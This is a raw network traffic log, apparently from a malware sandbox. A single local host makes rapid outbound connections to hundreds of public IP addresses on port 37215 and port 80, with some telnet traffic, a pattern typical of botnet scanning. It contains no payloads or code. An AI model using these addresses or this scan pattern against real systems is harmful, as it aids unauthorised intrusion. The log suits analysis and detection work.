Dec 3, 2024 21:47:21.088511944 CET	34043	37215	192.168.2.13	41.76.197.217
Dec 3, 2024 21:47:21.088520050 CET	34043	37215	192.168.2.13	197.221.92.60
Dec 3, 2024 21:47:21.088521957 CET	34043	37215	192.168.2.13	41.3.162.96
Dec 3, 2024 21:47:21.088531017 CET	34043	37215	192.168.2.13	156.26.11.235
Dec 3, 2024 21:47:21.088537931 CET	34043	37215	192.168.2.13	156.98.200.51
Dec 3, 2024 21:47:21.088546991 CET	34043	37215	192.168.2.13	41.110.212.164
Dec 3, 2024 21:47:21.088552952 CET	34043	37215	192.168.2.13	156.216.100.115
Dec 3, 2024 21:47:21.088574886 CET	34043	37215	192.168.2.13	156.60.60.172
Dec 3, 2024 21:47:21.088577032 CET	34043	37215	192.168.2.13	156.170.62.85
Dec 3, 2024 21:47:21.088601112 CET	34043	37215	192.168.2.13	197.188.102.32
Dec 3, 2024 21:47:21.088602066 CET	34043	37215	192.168.2.13	156.38.104.177
Dec 3, 2024 21:47:21.088602066 CET	34043	37215	192.168.2.13	156.243.90.112
Dec 3, 2024 21:47:21.088608980 CET	34043	37215	192.168.2.13	197.178.35.184
Dec 3, 2024 21:47:21.088613033 CET	34043	37215	192.168.2.13	41.142.147.82
Dec 3, 2024 21:47:21.088623047 CET	34043	37215	192.168.2.13	197.86.241.229
Dec 3, 2024 21:47:21.088625908 CET	34043	37215	192.168.2.13	41.41.238.124
Dec 3, 2024 21:47:21.088625908 CET	34043	37215	192.168.2.13	156.50.96.95
Dec 3, 2024 21:47:21.088653088 CET	34043	37215	192.168.2.13	156.143.155.247
Dec 3, 2024 21:47:21.088661909 CET	56460	80	192.168.2.13	25.138.115.52
Dec 3, 2024 21:47:21.088673115 CET	34043	37215	192.168.2.13	156.60.253.242
Dec 3, 2024 21:47:21.088679075 CET	34043	37215	192.168.2.13	41.126.67.249
Dec 3, 2024 21:47:21.088680983 CET	34043	37215	192.168.2.13	197.112.23.194
Dec 3, 2024 21:47:21.088684082 CET	34043	37215	192.168.2.13	41.63.138.161
Dec 3, 2024 21:47:21.088685036 CET	34043	37215	192.168.2.13	41.254.2.167
Dec 3, 2024 21:47:21.088697910 CET	34043	37215	192.168.2.13	41.91.224.85
Dec 3, 2024 21:47:21.088699102 CET	34043	37215	192.168.2.13	197.228.62.129
Dec 3, 2024 21:47:21.088713884 CET	34043	37215	192.168.2.13	197.241.195.123
Dec 3, 2024 21:47:21.088713884 CET	34043	37215	192.168.2.13	156.88.99.236
Dec 3, 2024 21:47:21.088713884 CET	34043	37215	192.168.2.13	156.181.32.251
Dec 3, 2024 21:47:21.088731050 CET	34043	37215	192.168.2.13	156.217.194.202
Dec 3, 2024 21:47:21.088743925 CET	34043	37215	192.168.2.13	156.184.214.182
Dec 3, 2024 21:47:21.088747025 CET	34043	37215	192.168.2.13	197.133.124.221
Dec 3, 2024 21:47:21.088752031 CET	34043	37215	192.168.2.13	41.151.97.249
Dec 3, 2024 21:47:21.088763952 CET	34043	37215	192.168.2.13	41.129.169.188
Dec 3, 2024 21:47:21.088763952 CET	34043	37215	192.168.2.13	156.122.223.204
Dec 3, 2024 21:47:21.088764906 CET	34043	37215	192.168.2.13	156.91.46.86
Dec 3, 2024 21:47:21.088778973 CET	34043	37215	192.168.2.13	156.44.152.194
Dec 3, 2024 21:47:21.088782072 CET	34043	37215	192.168.2.13	41.220.0.96
Dec 3, 2024 21:47:21.088783026 CET	34043	37215	192.168.2.13	156.180.146.159
Dec 3, 2024 21:47:21.088797092 CET	34043	37215	192.168.2.13	197.230.50.221
Dec 3, 2024 21:47:21.088800907 CET	34043	37215	192.168.2.13	197.187.86.51
Dec 3, 2024 21:47:21.088820934 CET	34043	37215	192.168.2.13	156.91.2.227
Dec 3, 2024 21:47:21.088835001 CET	34043	37215	192.168.2.13	41.105.96.175
Dec 3, 2024 21:47:21.088835955 CET	34043	37215	192.168.2.13	41.22.107.141
Dec 3, 2024 21:47:21.088843107 CET	34043	37215	192.168.2.13	197.53.32.104
Dec 3, 2024 21:47:21.088849068 CET	34043	37215	192.168.2.13	41.103.208.211
Dec 3, 2024 21:47:21.088849068 CET	34043	37215	192.168.2.13	156.32.107.134
Dec 3, 2024 21:47:21.088864088 CET	34043	37215	192.168.2.13	156.188.64.158
Dec 3, 2024 21:47:21.088865042 CET	34043	37215	192.168.2.13	197.47.208.188
Dec 3, 2024 21:47:21.088865995 CET	34043	37215	192.168.2.13	41.2.173.14
Dec 3, 2024 21:47:21.088871956 CET	34043	37215	192.168.2.13	197.126.89.180
Dec 3, 2024 21:47:21.088896036 CET	34043	37215	192.168.2.13	197.13.245.91
Dec 3, 2024 21:47:21.088903904 CET	34043	37215	192.168.2.13	41.75.7.49
Dec 3, 2024 21:47:21.088915110 CET	34043	37215	192.168.2.13	156.13.121.119
Dec 3, 2024 21:47:21.088917017 CET	34043	37215	192.168.2.13	41.111.159.90
Dec 3, 2024 21:47:21.088932037 CET	34043	37215	192.168.2.13	197.64.58.235
Dec 3, 2024 21:47:21.088933945 CET	34043	37215	192.168.2.13	156.85.21.69
Dec 3, 2024 21:47:21.088933945 CET	34043	37215	192.168.2.13	41.52.142.88
Dec 3, 2024 21:47:21.088938951 CET	34043	37215	192.168.2.13	197.255.219.182
Dec 3, 2024 21:47:21.088946104 CET	34043	37215	192.168.2.13	156.252.132.238
Dec 3, 2024 21:47:21.088963032 CET	34043	37215	192.168.2.13	156.21.120.193
Dec 3, 2024 21:47:21.088968039 CET	34043	37215	192.168.2.13	41.32.120.205
Dec 3, 2024 21:47:21.088973999 CET	34043	37215	192.168.2.13	156.20.2.197
Dec 3, 2024 21:47:21.088984013 CET	34043	37215	192.168.2.13	156.204.77.12
Dec 3, 2024 21:47:21.088984966 CET	34043	37215	192.168.2.13	156.62.82.79
Dec 3, 2024 21:47:21.088985920 CET	34043	37215	192.168.2.13	197.54.119.50
Dec 3, 2024 21:47:21.089000940 CET	34043	37215	192.168.2.13	197.173.34.92
Dec 3, 2024 21:47:21.089001894 CET	34043	37215	192.168.2.13	156.207.250.25
Dec 3, 2024 21:47:21.089019060 CET	34043	37215	192.168.2.13	156.28.7.194
Dec 3, 2024 21:47:21.089020014 CET	34043	37215	192.168.2.13	41.97.125.185
Dec 3, 2024 21:47:21.089020967 CET	34043	37215	192.168.2.13	41.16.95.191
Dec 3, 2024 21:47:21.089020967 CET	34043	37215	192.168.2.13	197.107.20.56
Dec 3, 2024 21:47:21.089051008 CET	34043	37215	192.168.2.13	197.91.87.119
Dec 3, 2024 21:47:21.089051008 CET	34043	37215	192.168.2.13	156.174.217.161
Dec 3, 2024 21:47:21.089051962 CET	34043	37215	192.168.2.13	41.102.197.66
Dec 3, 2024 21:47:21.089062929 CET	34043	37215	192.168.2.13	156.218.159.109
Dec 3, 2024 21:47:21.089071035 CET	34043	37215	192.168.2.13	41.150.80.188
Dec 3, 2024 21:47:21.089081049 CET	34043	37215	192.168.2.13	197.88.169.81
Dec 3, 2024 21:47:21.089082956 CET	34043	37215	192.168.2.13	197.122.145.246
Dec 3, 2024 21:47:21.089082956 CET	34043	37215	192.168.2.13	41.71.179.75
Dec 3, 2024 21:47:21.089095116 CET	34043	37215	192.168.2.13	197.20.159.192
Dec 3, 2024 21:47:21.089117050 CET	34043	37215	192.168.2.13	156.226.148.162
Dec 3, 2024 21:47:21.089119911 CET	34043	37215	192.168.2.13	156.65.107.136
Dec 3, 2024 21:47:21.089123011 CET	34043	37215	192.168.2.13	156.203.222.185
Dec 3, 2024 21:47:21.089129925 CET	34043	37215	192.168.2.13	156.23.185.65
Dec 3, 2024 21:47:21.089135885 CET	34043	37215	192.168.2.13	41.145.170.25
Dec 3, 2024 21:47:21.089150906 CET	34043	37215	192.168.2.13	156.58.150.24
Dec 3, 2024 21:47:21.089154005 CET	34043	37215	192.168.2.13	156.153.226.57
Dec 3, 2024 21:47:21.089154005 CET	34043	37215	192.168.2.13	197.148.130.252
Dec 3, 2024 21:47:21.089186907 CET	34043	37215	192.168.2.13	41.184.181.217
Dec 3, 2024 21:47:21.089186907 CET	42012	80	192.168.2.13	218.206.104.216
Dec 3, 2024 21:47:21.089190960 CET	34043	37215	192.168.2.13	156.51.124.18
Dec 3, 2024 21:47:21.089201927 CET	34043	37215	192.168.2.13	197.131.3.4
Dec 3, 2024 21:47:21.089205027 CET	34043	37215	192.168.2.13	41.126.159.236
Dec 3, 2024 21:47:21.089205027 CET	34043	37215	192.168.2.13	197.133.138.238
Dec 3, 2024 21:47:21.089205027 CET	34043	37215	192.168.2.13	197.98.102.190
Dec 3, 2024 21:47:21.089217901 CET	34043	37215	192.168.2.13	41.47.109.20
Dec 3, 2024 21:47:21.089220047 CET	34043	37215	192.168.2.13	41.80.145.154
Dec 3, 2024 21:47:21.089234114 CET	34043	37215	192.168.2.13	156.70.152.194
Dec 3, 2024 21:47:21.089246988 CET	34043	37215	192.168.2.13	156.211.81.107
Dec 3, 2024 21:47:21.089266062 CET	34043	37215	192.168.2.13	41.206.133.90
Dec 3, 2024 21:47:21.089267015 CET	34043	37215	192.168.2.13	197.4.101.157
Dec 3, 2024 21:47:21.089271069 CET	34043	37215	192.168.2.13	156.63.62.103
Dec 3, 2024 21:47:21.089277029 CET	34043	37215	192.168.2.13	156.97.57.253
Dec 3, 2024 21:47:21.089282990 CET	34043	37215	192.168.2.13	156.222.136.159
Dec 3, 2024 21:47:21.089292049 CET	34043	37215	192.168.2.13	156.217.207.191
Dec 3, 2024 21:47:21.089308977 CET	34043	37215	192.168.2.13	156.178.206.154
Dec 3, 2024 21:47:21.089310884 CET	34043	37215	192.168.2.13	156.117.247.117
Dec 3, 2024 21:47:21.089307070 CET	34043	37215	192.168.2.13	197.140.14.170
Dec 3, 2024 21:47:21.089334011 CET	34043	37215	192.168.2.13	41.36.72.45
Dec 3, 2024 21:47:21.089339972 CET	34043	37215	192.168.2.13	156.70.102.91
Dec 3, 2024 21:47:21.089339972 CET	34043	37215	192.168.2.13	156.161.129.149
Dec 3, 2024 21:47:21.089343071 CET	34043	37215	192.168.2.13	41.226.103.243
Dec 3, 2024 21:47:21.089348078 CET	34043	37215	192.168.2.13	41.81.255.22
Dec 3, 2024 21:47:21.089354038 CET	34043	37215	192.168.2.13	156.120.189.246
Dec 3, 2024 21:47:21.089354992 CET	34043	37215	192.168.2.13	41.236.79.247
Dec 3, 2024 21:47:21.089354992 CET	34043	37215	192.168.2.13	156.159.75.186
Dec 3, 2024 21:47:21.089371920 CET	34043	37215	192.168.2.13	197.180.214.142
Dec 3, 2024 21:47:21.089371920 CET	34043	37215	192.168.2.13	197.145.91.48
Dec 3, 2024 21:47:21.089380980 CET	34043	37215	192.168.2.13	197.199.11.27
Dec 3, 2024 21:47:21.089382887 CET	34043	37215	192.168.2.13	156.173.174.187
Dec 3, 2024 21:47:21.089406013 CET	34043	37215	192.168.2.13	156.194.152.87
Dec 3, 2024 21:47:21.089407921 CET	34043	37215	192.168.2.13	197.235.114.95
Dec 3, 2024 21:47:21.089409113 CET	34043	37215	192.168.2.13	41.9.130.167
Dec 3, 2024 21:47:21.089423895 CET	34043	37215	192.168.2.13	41.32.246.233
Dec 3, 2024 21:47:21.089426041 CET	34043	37215	192.168.2.13	156.190.11.56
Dec 3, 2024 21:47:21.089431047 CET	34043	37215	192.168.2.13	197.252.251.195
Dec 3, 2024 21:47:21.089443922 CET	34043	37215	192.168.2.13	156.35.119.169
Dec 3, 2024 21:47:21.089449883 CET	34043	37215	192.168.2.13	41.146.44.66
Dec 3, 2024 21:47:21.089467049 CET	34043	37215	192.168.2.13	156.53.158.149
Dec 3, 2024 21:47:21.089474916 CET	34043	37215	192.168.2.13	197.121.98.113
Dec 3, 2024 21:47:21.089481115 CET	34043	37215	192.168.2.13	41.223.222.233
Dec 3, 2024 21:47:21.089487076 CET	34043	37215	192.168.2.13	197.51.80.21
Dec 3, 2024 21:47:21.089495897 CET	34043	37215	192.168.2.13	197.12.248.94
Dec 3, 2024 21:47:21.089505911 CET	34043	37215	192.168.2.13	41.149.36.49
Dec 3, 2024 21:47:21.089514971 CET	34043	37215	192.168.2.13	41.101.113.176
Dec 3, 2024 21:47:21.089515924 CET	34043	37215	192.168.2.13	41.255.12.118
Dec 3, 2024 21:47:21.089524031 CET	34043	37215	192.168.2.13	197.127.186.230
Dec 3, 2024 21:47:21.089530945 CET	34043	37215	192.168.2.13	156.174.160.101
Dec 3, 2024 21:47:21.089551926 CET	34043	37215	192.168.2.13	197.211.63.136
Dec 3, 2024 21:47:21.089554071 CET	34043	37215	192.168.2.13	156.105.176.199
Dec 3, 2024 21:47:21.089560032 CET	34043	37215	192.168.2.13	41.161.93.26
Dec 3, 2024 21:47:21.089576960 CET	34043	37215	192.168.2.13	156.233.90.100
Dec 3, 2024 21:47:21.089584112 CET	34043	37215	192.168.2.13	156.80.233.128
Dec 3, 2024 21:47:21.089586973 CET	34043	37215	192.168.2.13	197.179.83.207
Dec 3, 2024 21:47:21.089592934 CET	34043	37215	192.168.2.13	156.212.138.251
Dec 3, 2024 21:47:21.089592934 CET	34043	37215	192.168.2.13	41.38.58.182
Dec 3, 2024 21:47:21.089595079 CET	34043	37215	192.168.2.13	41.205.177.78
Dec 3, 2024 21:47:21.089595079 CET	34043	37215	192.168.2.13	156.242.157.74
Dec 3, 2024 21:47:21.089595079 CET	34043	37215	192.168.2.13	197.247.247.136
Dec 3, 2024 21:47:21.089596987 CET	34043	37215	192.168.2.13	156.133.41.175
Dec 3, 2024 21:47:21.089596987 CET	34043	37215	192.168.2.13	41.1.66.205
Dec 3, 2024 21:47:21.089596987 CET	34043	37215	192.168.2.13	41.208.105.198
Dec 3, 2024 21:47:21.089602947 CET	34043	37215	192.168.2.13	41.89.126.40
Dec 3, 2024 21:47:21.089605093 CET	34043	37215	192.168.2.13	41.12.248.18
Dec 3, 2024 21:47:21.089622021 CET	34043	37215	192.168.2.13	156.106.19.133
Dec 3, 2024 21:47:21.089626074 CET	34043	37215	192.168.2.13	41.248.222.86
Dec 3, 2024 21:47:21.089634895 CET	34043	37215	192.168.2.13	197.250.49.66
Dec 3, 2024 21:47:21.089641094 CET	34043	37215	192.168.2.13	156.151.125.91
Dec 3, 2024 21:47:21.089648962 CET	34043	37215	192.168.2.13	197.138.28.220
Dec 3, 2024 21:47:21.089658022 CET	34043	37215	192.168.2.13	197.62.240.160
Dec 3, 2024 21:47:21.089660883 CET	34043	37215	192.168.2.13	197.61.191.7
Dec 3, 2024 21:47:21.089663029 CET	34043	37215	192.168.2.13	156.188.43.58
Dec 3, 2024 21:47:21.089689970 CET	34043	37215	192.168.2.13	156.154.138.168
Dec 3, 2024 21:47:21.089689970 CET	34043	37215	192.168.2.13	197.94.22.227
Dec 3, 2024 21:47:21.089689970 CET	35762	80	192.168.2.13	222.59.174.148
Dec 3, 2024 21:47:21.089689970 CET	34043	37215	192.168.2.13	156.198.20.209
Dec 3, 2024 21:47:21.089732885 CET	34043	37215	192.168.2.13	156.124.241.79
Dec 3, 2024 21:47:21.089735031 CET	34043	37215	192.168.2.13	197.25.204.180
Dec 3, 2024 21:47:21.089742899 CET	34043	37215	192.168.2.13	197.24.183.133
Dec 3, 2024 21:47:21.089750051 CET	34043	37215	192.168.2.13	156.46.147.91
Dec 3, 2024 21:47:21.089752913 CET	34043	37215	192.168.2.13	197.28.32.60
Dec 3, 2024 21:47:21.089755058 CET	34043	37215	192.168.2.13	41.187.51.35
Dec 3, 2024 21:47:21.089781046 CET	34043	37215	192.168.2.13	156.89.124.125
Dec 3, 2024 21:47:21.089786053 CET	34043	37215	192.168.2.13	197.178.43.192
Dec 3, 2024 21:47:21.089788914 CET	34043	37215	192.168.2.13	197.131.85.8
Dec 3, 2024 21:47:21.089797020 CET	34043	37215	192.168.2.13	156.29.41.95
Dec 3, 2024 21:47:21.089798927 CET	34043	37215	192.168.2.13	197.226.21.149
Dec 3, 2024 21:47:21.089806080 CET	34043	37215	192.168.2.13	197.119.231.252
Dec 3, 2024 21:47:21.089821100 CET	34043	37215	192.168.2.13	197.4.157.146
Dec 3, 2024 21:47:21.089829922 CET	34043	37215	192.168.2.13	156.205.145.35
Dec 3, 2024 21:47:21.089831114 CET	34043	37215	192.168.2.13	41.199.33.56
Dec 3, 2024 21:47:21.089837074 CET	34043	37215	192.168.2.13	156.91.207.176
Dec 3, 2024 21:47:21.089860916 CET	34043	37215	192.168.2.13	156.131.121.54
Dec 3, 2024 21:47:21.089863062 CET	34043	37215	192.168.2.13	41.91.98.140
Dec 3, 2024 21:47:21.089865923 CET	34043	37215	192.168.2.13	197.8.25.70
Dec 3, 2024 21:47:21.089869022 CET	34043	37215	192.168.2.13	156.231.84.45
Dec 3, 2024 21:47:21.089876890 CET	34043	37215	192.168.2.13	197.224.133.129
Dec 3, 2024 21:47:21.089885950 CET	34043	37215	192.168.2.13	156.181.211.186
Dec 3, 2024 21:47:21.089894056 CET	34043	37215	192.168.2.13	156.178.64.43
Dec 3, 2024 21:47:21.089899063 CET	34043	37215	192.168.2.13	197.138.27.62
Dec 3, 2024 21:47:21.089909077 CET	34043	37215	192.168.2.13	197.1.165.6
Dec 3, 2024 21:47:21.089930058 CET	34043	37215	192.168.2.13	156.224.66.217
Dec 3, 2024 21:47:21.089935064 CET	34043	37215	192.168.2.13	41.193.239.175
Dec 3, 2024 21:47:21.089936018 CET	34043	37215	192.168.2.13	197.19.194.5
Dec 3, 2024 21:47:21.089946985 CET	34043	37215	192.168.2.13	156.136.209.141
Dec 3, 2024 21:47:21.089951038 CET	34043	37215	192.168.2.13	156.250.57.221
Dec 3, 2024 21:47:21.089951992 CET	34043	37215	192.168.2.13	197.155.106.180
Dec 3, 2024 21:47:21.089952946 CET	34043	37215	192.168.2.13	197.198.241.212
Dec 3, 2024 21:47:21.089958906 CET	34043	37215	192.168.2.13	197.161.3.60
Dec 3, 2024 21:47:21.089972973 CET	34043	37215	192.168.2.13	156.54.43.43
Dec 3, 2024 21:47:21.089987993 CET	34043	37215	192.168.2.13	156.112.40.115
Dec 3, 2024 21:47:21.089991093 CET	34043	37215	192.168.2.13	156.140.72.43
Dec 3, 2024 21:47:21.089998007 CET	34043	37215	192.168.2.13	197.138.87.89
Dec 3, 2024 21:47:21.090018034 CET	34043	37215	192.168.2.13	41.96.71.53
Dec 3, 2024 21:47:21.090018988 CET	34043	37215	192.168.2.13	156.220.3.210
Dec 3, 2024 21:47:21.090034008 CET	34043	37215	192.168.2.13	41.42.104.139
Dec 3, 2024 21:47:21.090034008 CET	34043	37215	192.168.2.13	156.131.224.86
Dec 3, 2024 21:47:21.090049982 CET	34043	37215	192.168.2.13	41.245.18.71
Dec 3, 2024 21:47:21.090050936 CET	34043	37215	192.168.2.13	41.67.208.32
Dec 3, 2024 21:47:21.090054989 CET	34043	37215	192.168.2.13	41.62.160.15
Dec 3, 2024 21:47:21.090080976 CET	34043	37215	192.168.2.13	197.71.73.23
Dec 3, 2024 21:47:21.090084076 CET	34043	37215	192.168.2.13	156.243.126.166
Dec 3, 2024 21:47:21.090090036 CET	34043	37215	192.168.2.13	156.211.67.221
Dec 3, 2024 21:47:21.090101004 CET	34043	37215	192.168.2.13	156.222.192.27
Dec 3, 2024 21:47:21.090101004 CET	34043	37215	192.168.2.13	197.57.101.228
Dec 3, 2024 21:47:21.090111971 CET	34043	37215	192.168.2.13	41.189.34.70
Dec 3, 2024 21:47:21.090112925 CET	34043	37215	192.168.2.13	41.57.125.164
Dec 3, 2024 21:47:21.090114117 CET	34043	37215	192.168.2.13	197.34.69.218
Dec 3, 2024 21:47:21.090125084 CET	34043	37215	192.168.2.13	197.83.203.86
Dec 3, 2024 21:47:21.090136051 CET	34043	37215	192.168.2.13	156.28.97.144
Dec 3, 2024 21:47:21.090162039 CET	34043	37215	192.168.2.13	156.131.24.17
Dec 3, 2024 21:47:21.090162992 CET	34043	37215	192.168.2.13	41.142.192.253
Dec 3, 2024 21:47:21.090173006 CET	34043	37215	192.168.2.13	197.179.192.115
Dec 3, 2024 21:47:21.090187073 CET	34043	37215	192.168.2.13	156.82.216.237
Dec 3, 2024 21:47:21.090188026 CET	34043	37215	192.168.2.13	156.106.242.197
Dec 3, 2024 21:47:21.090193033 CET	34043	37215	192.168.2.13	156.74.171.113
Dec 3, 2024 21:47:21.090207100 CET	34043	37215	192.168.2.13	156.42.126.76
Dec 3, 2024 21:47:21.090212107 CET	34043	37215	192.168.2.13	41.228.254.143
Dec 3, 2024 21:47:21.090224028 CET	35502	80	192.168.2.13	27.246.121.87
Dec 3, 2024 21:47:21.090226889 CET	34043	37215	192.168.2.13	197.103.150.86
Dec 3, 2024 21:47:21.090233088 CET	34043	37215	192.168.2.13	156.35.1.30
Dec 3, 2024 21:47:21.090245962 CET	34043	37215	192.168.2.13	156.184.111.115
Dec 3, 2024 21:47:21.090256929 CET	34043	37215	192.168.2.13	156.31.95.253
Dec 3, 2024 21:47:21.090264082 CET	34043	37215	192.168.2.13	156.239.221.47
Dec 3, 2024 21:47:21.090266943 CET	34043	37215	192.168.2.13	41.102.21.134
Dec 3, 2024 21:47:21.090266943 CET	34043	37215	192.168.2.13	156.25.74.91
Dec 3, 2024 21:47:21.090266943 CET	34043	37215	192.168.2.13	41.44.99.98
Dec 3, 2024 21:47:21.090272903 CET	34043	37215	192.168.2.13	41.137.7.182
Dec 3, 2024 21:47:21.090281963 CET	34043	37215	192.168.2.13	197.176.190.206
Dec 3, 2024 21:47:21.090284109 CET	34043	37215	192.168.2.13	156.217.133.219
Dec 3, 2024 21:47:21.090290070 CET	34043	37215	192.168.2.13	41.122.186.106
Dec 3, 2024 21:47:21.090302944 CET	34043	37215	192.168.2.13	156.77.126.145
Dec 3, 2024 21:47:21.090804100 CET	57392	80	192.168.2.13	106.130.195.250
Dec 3, 2024 21:47:21.091331005 CET	34238	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:21.092003107 CET	41594	80	192.168.2.13	218.66.19.119
Dec 3, 2024 21:47:21.092518091 CET	39834	37215	192.168.2.13	156.22.92.200
Dec 3, 2024 21:47:21.093178034 CET	49192	80	192.168.2.13	109.236.91.99
Dec 3, 2024 21:47:21.093807936 CET	36832	80	192.168.2.13	179.185.179.154
Dec 3, 2024 21:47:21.094413996 CET	36828	80	192.168.2.13	57.3.184.193
Dec 3, 2024 21:47:21.095021009 CET	43846	80	192.168.2.13	171.3.155.144
Dec 3, 2024 21:47:21.095608950 CET	48836	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:21.096189022 CET	37524	80	192.168.2.13	203.54.58.77
Dec 3, 2024 21:47:21.096784115 CET	42302	80	192.168.2.13	34.80.169.205
Dec 3, 2024 21:47:21.097361088 CET	36486	80	192.168.2.13	151.181.255.214
Dec 3, 2024 21:47:21.113017082 CET	54690	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:21.113660097 CET	39226	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:21.114212036 CET	50372	80	192.168.2.13	49.136.121.133
Dec 3, 2024 21:47:21.114769936 CET	48124	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:21.115329981 CET	42902	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:21.115885019 CET	40590	80	192.168.2.13	18.239.135.55
Dec 3, 2024 21:47:21.116440058 CET	50666	80	192.168.2.13	47.124.83.25
Dec 3, 2024 21:47:21.117006063 CET	58760	80	192.168.2.13	113.18.111.251
Dec 3, 2024 21:47:21.117623091 CET	35812	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:21.118208885 CET	51010	80	192.168.2.13	83.11.76.171
Dec 3, 2024 21:47:21.118807077 CET	48738	80	192.168.2.13	174.0.32.205
Dec 3, 2024 21:47:21.119410992 CET	57028	80	192.168.2.13	182.1.122.176
Dec 3, 2024 21:47:21.120004892 CET	49612	80	192.168.2.13	181.220.210.118
Dec 3, 2024 21:47:21.120618105 CET	59796	80	192.168.2.13	66.188.77.113
Dec 3, 2024 21:47:21.121196985 CET	34392	80	192.168.2.13	49.126.64.179
Dec 3, 2024 21:47:21.121800900 CET	52844	80	192.168.2.13	60.43.110.158
Dec 3, 2024 21:47:21.122411013 CET	35292	80	192.168.2.13	102.147.224.252
Dec 3, 2024 21:47:21.123017073 CET	55756	80	192.168.2.13	136.104.44.43
Dec 3, 2024 21:47:21.123619080 CET	52708	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:21.124233961 CET	41906	80	192.168.2.13	207.71.183.182
Dec 3, 2024 21:47:21.124829054 CET	51330	80	192.168.2.13	219.23.233.148
Dec 3, 2024 21:47:21.125443935 CET	57622	80	192.168.2.13	63.137.121.204
Dec 3, 2024 21:47:21.126044035 CET	49554	80	192.168.2.13	186.14.24.52
Dec 3, 2024 21:47:21.126698971 CET	50114	80	192.168.2.13	201.56.167.250
Dec 3, 2024 21:47:21.127326965 CET	42390	80	192.168.2.13	203.111.30.129
Dec 3, 2024 21:47:21.127929926 CET	42684	80	192.168.2.13	27.52.117.91
Dec 3, 2024 21:47:21.128547907 CET	47884	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:21.129143953 CET	40924	80	192.168.2.13	223.27.214.189
Dec 3, 2024 21:47:21.129760027 CET	46662	80	192.168.2.13	106.4.74.96
Dec 3, 2024 21:47:21.130372047 CET	59230	80	192.168.2.13	91.125.18.79
Dec 3, 2024 21:47:21.130981922 CET	34402	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:21.131580114 CET	36192	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:21.164406061 CET	23	37066	217.32.184.17	192.168.2.13
Dec 3, 2024 21:47:21.164547920 CET	37066	23	192.168.2.13	217.32.184.17
Dec 3, 2024 21:47:21.172816992 CET	80	39419	76.92.114.113	192.168.2.13
Dec 3, 2024 21:47:21.172842979 CET	80	39419	90.16.15.253	192.168.2.13
Dec 3, 2024 21:47:21.172873020 CET	39419	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.172873974 CET	80	39419	189.42.102.231	192.168.2.13
Dec 3, 2024 21:47:21.172889948 CET	80	39419	98.139.210.210	192.168.2.13
Dec 3, 2024 21:47:21.172910929 CET	39419	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.172914028 CET	39419	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.172950983 CET	39419	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.174108982 CET	80	39419	1.37.160.118	192.168.2.13
Dec 3, 2024 21:47:21.174150944 CET	80	39419	59.135.235.143	192.168.2.13
Dec 3, 2024 21:47:21.174163103 CET	39419	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.174177885 CET	80	39419	75.37.8.14	192.168.2.13
Dec 3, 2024 21:47:21.174190998 CET	39419	80	192.168.2.13	59.135.235.143
Dec 3, 2024 21:47:21.174195051 CET	80	39419	89.36.101.40	192.168.2.13
Dec 3, 2024 21:47:21.174216032 CET	39419	80	192.168.2.13	75.37.8.14
Dec 3, 2024 21:47:21.174222946 CET	80	39419	4.254.108.72	192.168.2.13
Dec 3, 2024 21:47:21.174236059 CET	39419	80	192.168.2.13	89.36.101.40
Dec 3, 2024 21:47:21.174251080 CET	80	39419	71.32.188.209	192.168.2.13
Dec 3, 2024 21:47:21.174254894 CET	39419	80	192.168.2.13	4.254.108.72
Dec 3, 2024 21:47:21.174277067 CET	80	39419	57.82.148.22	192.168.2.13
Dec 3, 2024 21:47:21.174293995 CET	39419	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:21.174310923 CET	80	39419	103.231.141.13	192.168.2.13
Dec 3, 2024 21:47:21.174324036 CET	39419	80	192.168.2.13	57.82.148.22
Dec 3, 2024 21:47:21.174343109 CET	80	39419	20.156.141.133	192.168.2.13
Dec 3, 2024 21:47:21.174355030 CET	39419	80	192.168.2.13	103.231.141.13
Dec 3, 2024 21:47:21.174377918 CET	80	39419	172.164.246.48	192.168.2.13
Dec 3, 2024 21:47:21.174381971 CET	39419	80	192.168.2.13	20.156.141.133
Dec 3, 2024 21:47:21.174415112 CET	39419	80	192.168.2.13	172.164.246.48
Dec 3, 2024 21:47:21.174459934 CET	80	39419	107.168.161.112	192.168.2.13
Dec 3, 2024 21:47:21.174474001 CET	80	39419	163.219.199.68	192.168.2.13
Dec 3, 2024 21:47:21.174490929 CET	80	39419	37.33.29.201	192.168.2.13
Dec 3, 2024 21:47:21.174493074 CET	39419	80	192.168.2.13	107.168.161.112
Dec 3, 2024 21:47:21.174505949 CET	39419	80	192.168.2.13	163.219.199.68
Dec 3, 2024 21:47:21.174531937 CET	39419	80	192.168.2.13	37.33.29.201
Dec 3, 2024 21:47:21.174539089 CET	80	39419	110.159.128.181	192.168.2.13
Dec 3, 2024 21:47:21.174566984 CET	80	39419	158.208.19.55	192.168.2.13
Dec 3, 2024 21:47:21.174580097 CET	80	39419	77.236.95.251	192.168.2.13
Dec 3, 2024 21:47:21.174587011 CET	39419	80	192.168.2.13	110.159.128.181
Dec 3, 2024 21:47:21.174598932 CET	39419	80	192.168.2.13	158.208.19.55
Dec 3, 2024 21:47:21.174609900 CET	39419	80	192.168.2.13	77.236.95.251
Dec 3, 2024 21:47:21.174643040 CET	80	39419	112.98.164.182	192.168.2.13
Dec 3, 2024 21:47:21.174657106 CET	80	39419	49.166.162.43	192.168.2.13
Dec 3, 2024 21:47:21.174679041 CET	39419	80	192.168.2.13	112.98.164.182
Dec 3, 2024 21:47:21.174690962 CET	39419	80	192.168.2.13	49.166.162.43
Dec 3, 2024 21:47:21.174695015 CET	80	39419	221.101.135.2	192.168.2.13
Dec 3, 2024 21:47:21.174705029 CET	80	39419	34.26.128.234	192.168.2.13
